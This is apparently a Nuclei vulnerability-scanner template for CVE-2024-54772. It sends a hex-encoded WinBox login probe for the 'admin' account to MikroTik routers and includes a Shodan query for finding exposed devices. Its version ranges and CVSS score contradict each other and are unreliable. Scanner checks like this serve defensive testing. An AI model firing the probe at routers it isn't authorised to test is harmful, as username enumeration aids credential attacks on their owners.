id: CVE-2024-54772

info:
  name: MikroTik WinBox <= 6.49.17 - Username Enumeration
  author: abdo342003
  severity: medium
  description: |
    MikroTik RouterOS v6.43.13 through v6.49.13 and v6.43 through v7.17.2 contain an account enumeration issue caused by response size discrepancy in Winbox service, letting attackers identify valid usernames, exploit requires network access to Winbox service.
  impact: |
    Attackers can enumerate valid user accounts, potentially aiding targeted attacks or privilege escalation.
  remediation: |
    Update to stable release v6.49.18 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-54772
    - https://github.com/deauther890/CVE-2024-54772
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2024-54772
    epss-score: 0.01288
    epss-percentile: 0.69992
    cwe-id: CWE-203
  metadata:
    max-request: 1
    shodan-query: port:8291 product:"MikroTik"
  tags: cve,cve2024,mikrotik,routeros,winbox,enumeration,tcp

tcp:
  - inputs:
      # chr(len("admin") + 34), 0x06, "admin", 34 NUL bytes
      - data: "270661646d696e00000000000000000000000000000000000000000000000000000000000000000000"
        type: hex

    host:
      - "{{Hostname}}"
    port: 8291
    read-size: 512

    matchers:
      - type: dsl
        dsl:
          # 51-byte hello carrying the salt - the account exists
          - 'len(raw) == 51'
          # framing check: 0x31 is the payload length, 0x06 the message type
          - 'regex("^3106", hex_encode(raw))'
        condition: and

    extractors:
      - type: dsl
        dsl:
          - '"WinBox discloses that the admin account exists (51-byte salted hello)"'
# digest: 490a0046304402205f49c64d7af2fa979150ff4dcd9cb785ec597f4e04c85d180c711a67b318174702206e4db256b28e2840f2156ed89daff51fde78d3a9a7941e36f1a5b5f226819f4d:922c64590222798bb761d5b6d8e72950